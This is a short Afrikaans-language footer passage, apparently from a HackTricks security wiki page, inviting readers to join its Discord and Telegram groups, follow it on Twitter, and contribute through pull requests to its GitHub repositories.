* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>